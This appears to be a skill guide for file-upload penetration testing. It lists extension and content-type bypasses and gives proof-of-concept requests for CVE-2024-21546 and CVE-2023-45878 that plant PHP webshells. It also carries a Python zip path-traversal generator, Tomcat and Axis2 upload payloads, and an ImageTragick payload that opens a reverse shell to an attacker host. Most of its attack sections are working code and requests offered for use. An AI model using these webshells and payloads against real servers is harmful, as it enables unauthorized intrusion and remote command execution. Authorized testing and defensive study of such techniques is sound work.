File Upload Pentesting
A comprehensive skill for testing file upload vulnerabilities and bypassing server-side protections.
Quick Start
- Identify the upload endpoint and test with a basic malicious file
- Check extension restrictions and try bypass techniques
- Test content-type and magic number validation
- Try server-specific exploits (Jetty, uWSGI, Tomcat, etc.)
- Use bundled scripts for payload generation
Extension Bypass Techniques
Basic Extension Tricks
Test these variations systematically:
- Case variations:
.pHp,.pHP5,.PhAr,.PHTML - Double extensions:
file.png.php,file.jpg.Php5 - Special characters:
file.php%20(space)file.php%0a(newline)file.php%00(null byte)file.php%0d%0a(CRLF)file.php/(trailing slash)file.php..(double dot)
- Extension order tricks:
file.php.png(Apache misconfiguration)file.png.jpg.php(multiple layers)
- Comment tricks:
file.php#.png,file.php%00.png
Server-Specific Extensions
PHP (test all variants):
.php,.php2,.php3,.php4,.php5,.php6,.php7.pht,.phtm,.phtml,.pgif,.shtml,.htaccess.phar,.inc,.hphp,.ctp,.module
ASP/ASPX:
.asp,.aspx,.config,.ashx,.asmx,.cshtml,.vbhtml
JSP:
.jsp,.jspx,.jsw,.jsv,.jspf,.do,.action
Other:
.cfm,.cfml(ColdFusion).swf(Flash).pl,.cgi(Perl).yaws(Erlang)
NTFS Alternate Data Streams (Windows)
file.asax:.jpg
file.asp::$data.
Creates an empty file with the forbidden extension that can be edited later.
Filename Length Truncation
Linux max filename: 255 bytes. Some tools (wget) truncate to 236.
# Create a filename that truncates to .php
python3 -c 'print("A" * 232 + ".php.gif")'
Upload this - the server may truncate to .php.
Content-Type and Magic Number Bypass
Content-Type Header Tricks
Set these values to bypass checks:
image/pngimage/jpegtext/plainapplication/octet-stream
Magic Number Injection
Add valid image headers to malicious files:
PNG header:
\x89PNG\r\n\x1a\n
JPEG header:
\xff\xd8\xff
Use the create-polyglot.sh script to generate these automatically.
Surviving Image Processing
If the server resizes/compresses images, use these techniques:
- PLTE chunk - survives PHP-GD compression
- IDAT chunk - survives imagecopyresized/resampled
- tEXt chunk - survives thumbnailImage
See references/persistent-payloads.md for implementation details.
CVE-Specific Exploits
UniSharp Laravel Filemanager (CVE-2024-21546)
Affected: Versions before 2.9.1
Bypass: Trailing dot in filename
# Upload shell.php. (with trailing dot)
# Server strips the dot, saves as shell.php
# PoC request:
POST /profile/avatar
Content-Type: multipart/form-data
filename="shell.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
Access: /storage/files/shell.php?cmd=id
Gibbon LMS (CVE-2023-45878)
Endpoint: /modules/Rubrics/rubrics_visualise_saveAjax.php
Method: POST with base64-encoded payload
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4=&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Jetty XML RCE
Upload XML to $JETTY_BASE/webapps/ - automatically processed.
uWSGI Configuration RCE
If you can write to .ini files:
[uwsgi]
body = @(exec://whoami)
Payload executes during config parsing (requires restart or auto-reload).
ZIP/Tar Exploitation
Path Traversal in Archives
#!/usr/bin/env python3
import zipfile
from io import BytesIO
def create_malicious_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../var/www/html/shell.php', '<?php system($_REQUEST["cmd"]); ?>')
z.close()
with open('poc.zip', 'wb') as out:
out.write(f.getvalue())
Symlink in Archive
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
NUL-Byte Smuggling (PHP ZipArchive)
- Create
shell.php..pdf(valid PDF with embedded PHP) - Zip it
- Hex-edit filename to
shell.php\x00.pdf - ZipArchive sees
.pdf, filesystem writes.php
Use create-null-zip.sh script for automation.
Stacked ZIPs
cat benign.zip evil.zip > combined.zip
Different parsers may read different archives.
Server-Specific Exploits
Tomcat GZIP Upload
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp
Content-Type: application/octet-stream
Content-Encoding: gzip
<gzip-compressed-jsp-payload>
Axis2 SOAP Upload
<soapenv:Envelope>
<soapenv:Body>
<uploadFile>
<archiveName>shell.jsp</archiveName>
<jobDirectory>/../../../../opt/tomcat/webapps/</jobDirectory>
<dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgPz4=</dataHandler>
</uploadFile>
</soapenv:Body>
</soapenv:Envelope>
Windows NTFS Junctions
rmdir C:\Windows\Tasks\Uploads\<id>
mklink /J C:\Windows\Tasks\Uploads\<id> C:\xampp\htdocs
Redirects uploads to webroot.
ImageTragick Exploit
Upload this content with image extension:
push graphic-context
viewbox 0 0 640 480
fill 'url("https://attacker.com/test.jpg"|bash -i >& /dev/tcp/ATTACKER-IP/PORT 0>&1)'
pop graphic-context
Content-Type Confusion
Some handlers trust parsed JSON over actual multipart:
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
Testing Checklist
- Test all extension variations (case, double, special chars)
- Try content-type header manipulation
- Add magic bytes to malicious files
- Test filename length truncation
- Try ZIP path traversal
- Check for server-specific vulnerabilities
- Test NTFS tricks on Windows
- Try polyglot files
- Check for ImageTragick
- Test Content-Type confusion
Bundled Scripts
scripts/create-polyglot.sh- Generate polyglot files with magic headersscripts/create-null-zip.sh- Create NUL-byte smuggled ZIPsscripts/generate-payloads.sh- Generate common webshell payloadsscripts/test-extensions.sh- Test extension bypasses systematically